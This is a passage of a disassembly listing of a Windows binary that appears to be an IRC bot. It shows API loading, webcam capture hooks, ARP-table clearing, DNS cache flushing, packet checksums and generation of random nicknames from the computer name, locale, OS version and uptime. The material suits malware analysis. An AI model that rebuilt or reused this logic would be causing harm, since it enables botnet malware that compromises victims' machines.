mov dword_4CBA10, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CBA5C, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB998, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB950, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB9F0, eax
call esi ; GetProcAddress
cmp dword_4CBA10, ebx
mov dword_4CB960, eax
jz short loc_40A569
cmp dword_4CBA5C, ebx
jz short loc_40A569
cmp dword_4CB998, ebx
jz short loc_40A569
cmp dword_4CB950, ebx
jz short loc_40A569
cmp dword_4CB9F0, ebx
jz short loc_40A569
cmp eax, ebx
jnz short loc_40A573
jmp short loc_40A569
; ---------------------------------------------------------------------------
loc_40A55E: ; CODE XREF: sub_409909+BD7j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBAF8, eax
loc_40A569: ; CODE XREF: sub_409909+C2Dj
; sub_409909+C35j ...
mov dword_4CBAF4, 1
loc_40A573: ; CODE XREF: sub_409909+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5A8
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB924, eax
call esi ; GetProcAddress
cmp dword_4CB924, ebx
mov dword_4CBA04, eax
jz short loc_40A5B3
cmp eax, ebx
jnz short loc_40A5BD
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5A8: ; CODE XREF: sub_409909+C75j
call ds:dword_427094 ; RtlGetLastWin32Error
mov dword_4CBB00, eax
loc_40A5B3: ; CODE XREF: sub_409909+C97j
; sub_409909+C9Dj
mov dword_4CBAFC, 1
loc_40A5BD: ; CODE XREF: sub_409909+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CBA94, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A60D
push dword_4CBA98
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj
cmp dword_4CBA9C, esi
jz short loc_40A641
push dword_4CBAA0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A641: ; CODE XREF: sub_40A5C5+4Ej
cmp dword_4CBAA4, esi
jz short loc_40A675
push dword_4CBAA8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A675: ; CODE XREF: sub_40A5C5+82j
cmp dword_4CBAAC, esi
jz short loc_40A6A9
push dword_4CBAB0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j
cmp dword_4CBAB4, esi
jz short loc_40A6DD
push dword_4CBAB8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj
cmp dword_4CBABC, esi
jz short loc_40A711
push dword_4CBAC0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A711: ; CODE XREF: sub_40A5C5+11Ej
cmp dword_4CBAC4, esi
jz short loc_40A745
push dword_4CBAC8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A745: ; CODE XREF: sub_40A5C5+152j
cmp dword_4CBACC, esi
jz short loc_40A779
push dword_4CBAD0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A779: ; CODE XREF: sub_40A5C5+186j
cmp dword_4CBAD4, esi
jz short loc_40A7AD
push dword_4CBAD8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj
cmp dword_4CBADC, esi
jz short loc_40A7E1
push dword_4CBAE0
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj
cmp dword_4CBAE4, esi
jz short loc_40A815
push dword_4CBAE8
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A815: ; CODE XREF: sub_40A5C5+222j
cmp dword_4CBAEC, esi
jz short loc_40A849
push dword_4CBAF0
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A849: ; CODE XREF: sub_40A5C5+256j
cmp dword_4CBAF4, esi
jz short loc_40A87D
push dword_4CBAF8
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj
cmp dword_4CBAFC, esi
jz short loc_40A8B1
push dword_4CBB00
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
loc_40A897: ; DATA XREF: .data:0043320Co
; .data:00433250o ...
call sub_41C266
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 20h
loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj
lea eax, [ebp+var_200]
push offset unk_42D6C4
push eax
call sub_41C266
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A8DE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA58 ; gethostbyname
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB8F0
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx ; DnsFlushResolverCache
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CBA50 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8D8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8B4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+var_8]
call sub_41BEB5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BF70
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CBA50 ; GetIpNetTable
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset unk_42D884
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D854
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA4C ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CBB04
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C266
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: .data:off_42D920o
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D99C[edx*4]
push offset aS_8 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_429138 ; "-"
push offset aS_8 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB72
loc_40AB4C: ; CODE XREF: .text:0040AB70j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AB4C
loc_40AB72: ; CODE XREF: .text:0040AB4Aj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315F4
push eax
push esi
call ds:dword_4270C8 ; GetComputerNameA
movsx eax, byte_4315F4
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: .text:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: .text:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: .text:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: .text:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: .text:0040AC5Aj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
loc_40AC5C: ; CODE XREF: .text:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4270CC ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4315F8
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: .text:0040ACCFj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: .text:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB88
mov dword ptr [ebp-94h], 94h
call ds:dword_4270D0 ; GetVersionExA
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset a95 ; "95"
loc_40AD2B: ; CODE XREF: .text:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset aNt_0 ; "NT"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: .text:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset a98 ; "98"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: .text:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: .text:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset a2k ; "2K"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: .text:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset aXp ; "XP"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: .text:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AD97
loc_40AD92: ; CODE XREF: .text:0040AD52j
; .text:0040AD62j
mov esi, offset a??? ; "???"
loc_40AD97: ; CODE XREF: .text:0040AD32j
; .text:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset aS_0 ; "[%s]|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: .text:0040ADD9j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: .text:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9E0 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AE19
mov eax, offset byte_43DB88
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C360
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9E0 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AE44
mov eax, offset byte_43DB88
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B9C0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41CBC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D91C
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41CA50
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9A8
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D920[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+arg_0]
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB88
mov dword ptr [ebp-0B8h], 94h
call ds:dword_4270D0 ; GetVersionExA
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset a95 ; "95"
loc_40AF38: ; CODE XREF: .text:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset aNt_0 ; "NT"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: .text:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset a98 ; "98"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: .text:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset aMe_0 ; "ME"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: .text:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset a2k ; "2K"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: .text:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset aXp ; "XP"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: .text:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431684
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: .text:0040AF5Ej
; .text:0040AF6Ej
mov edi, offset dword_431680
loc_40AFA3: ; CODE XREF: .text:0040AF3Fj
; .text:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB88C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_43167C
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: .text:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset dword_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: .text:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: .text:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431668
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: .text:0040B012j
lea eax, [ebp-0A4h]
push offset dword_431664
push eax
call sub_41C2E0
pop ecx
mov esi, offset dword_431660
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_43165C
loc_40B03C: ; CODE XREF: .text:0040AFBFj
; .text:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call sub_41CCE3
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: .text:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_42635C
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: .text:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
loc_40B0A7: ; CODE XREF: .text:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: .text:0040B084j
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
call ds:dword_4270CC ; GetLocaleInfoA
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS_0 ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: .text:0040B113j
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
